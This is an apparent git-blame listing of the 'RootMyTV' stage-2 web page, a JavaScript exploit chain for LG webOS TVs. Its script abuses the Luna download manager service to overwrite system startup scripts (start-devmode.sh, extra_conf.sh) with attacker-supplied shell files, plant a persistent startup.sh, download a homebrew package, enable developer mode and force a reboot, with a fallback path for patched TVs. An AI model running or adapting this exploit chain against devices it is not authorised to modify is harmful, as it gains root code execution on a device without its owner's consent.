2021-05-13 16:05:13 +00:00
<!DOCTYPE html>
2021-04-25 20:00:25 +00:00
< html >
< head >
< title > RootMyTV - Stage 2< / title >
2021-05-21 13:48:19 +00:00
< link rel = "stylesheet" href = "css/common.css" / >
2021-04-25 20:00:25 +00:00
< / head >
< body >
< header >
2021-06-25 14:07:02 +00:00
< h1 > RootMy.TV< small > 2.0< / small > < / h1 >
2021-04-25 20:00:25 +00:00
< / header >
< hr >
< section class = "content-center" >
< article >
< pre id = "log" > < / pre >
< / article >
< / section >
2021-05-13 16:09:07 +00:00
< hr >
2021-05-21 13:48:19 +00:00
< script src = "lib/webOSTV.js" > < / script >
2021-06-25 14:07:02 +00:00
< script >
// Break out of an iframe...
if (window !== window.top) {
window.top.location.href = location.href
}
< / script >
2021-04-25 20:00:25 +00:00
< script >
function log(str) {
var logBox = document.querySelector('#log');
2021-05-13 16:30:31 +00:00
logBox.innerText = logBox.innerText + str + '\n';
logBox.scrollIntoView(false)
2021-04-25 20:00:25 +00:00
}
window.onerror = function (err) {log('Unexpected error: ' + err);};
(function () {
2021-06-25 14:07:02 +00:00
function download(url, targetDir, targetFilename, success, failure) {
2021-04-25 20:00:25 +00:00
var target = new URL(url, window.location.href).href;
log(targetFilename + ': Downloading from ' + target + '...');
webOS.service.request('luna://com.webos.service.downloadmanager', {
method: 'download',
parameters: {
target: target,
targetDir: targetDir,
targetFilename: targetFilename,
subscribe: true,
},
onSuccess: function (res) {
if (res.completed === true) {
if (res.destPath !== targetDir) {
2021-06-25 14:07:02 +00:00
if (failure != undefined) {
failure(res);
} else {
log(targetFilename + ': Download completed, but target directory (' + res.destPath + ') did not match what we expected (' + targetDir + '). This likely means your TV is not vulnerable to LunaDownloadMgr exploit.');
}
2021-04-25 20:00:25 +00:00
} else if (res.httpStatus !== 200) {
log(targetFilename + ': Download completed, but finished with a HTTP status code ' + res.httpStatus);
} else {
log(targetFilename + ': Download completed');
success();
}
}
},
onFailure: function (err) {
2021-06-25 14:07:02 +00:00
log(targetFilename + ': Luna call failed: ' + JSON.stringify(err));
if (failure != undefined) {
failure(err);
}
2021-04-25 20:00:25 +00:00
},
});
}
function reboot() {
webOS.service.request('luna://com.webos.service.sleep', {
method: 'shutdown/machineReboot',
parameters: {
2021-06-25 14:07:02 +00:00
reason: "remoteKey"
2021-04-25 20:00:25 +00:00
},
onSuccess: function (res) {
log("Reboot request succeeded. Bye?");
},
onFailure: function (res) {
log("Failed to reboot: " + JSON.stringify(res));
},
});
}
2023-06-30 21:37:27 +00:00
var homebrewChannelURL = 'https://github.com/webosbrew/webos-homebrew-channel/releases/download/v0.6.3/org.webosbrew.hbchannel_0.6.3_all.ipk';
2021-04-25 20:00:25 +00:00
2021-06-25 14:07:02 +00:00
function bootstrapStage3() {
download('files/stage3.sh', '/mnt/lg/cmn_data/var/lib/webosbrew/', 'startup.sh', function () {
download(homebrewChannelURL, '/mnt/lg/appstore/internal/downloads/', 'hbchannel.ipk', function () {
download('files/dummy', '/mnt/lg/cmn_data/var/luna/preferences/', 'devmode_enabled', function () {
log("Your TV shall reboot in 5 seconds...");
setTimeout(function () {
reboot();
}, 5000);
});
2021-04-25 20:00:25 +00:00
});
});
2021-06-25 14:07:02 +00:00
}
// Attempt to go through original pre-2021/06 route. This will fail on patched TVs.
download('files/jumpstart.sh', '/media/cryptofs/apps/usr/palm/services/com.palmdts.devmode.service/', 'start-devmode.sh', function () {
log("Original start-devmode.sh overwrite succeeded, using original chain...");
bootstrapStage3();
}, function () {
log("Original start-devmode.sh overwrite failed, attempting v2 exploit...");
download('files/jumpstart.sh', '/mnt/lg/cmn_data/wam/', 'extra_conf.sh', function () {
bootstrapStage3();
});
2021-04-25 20:00:25 +00:00
});
})();
< / script >
< / body >
< / html >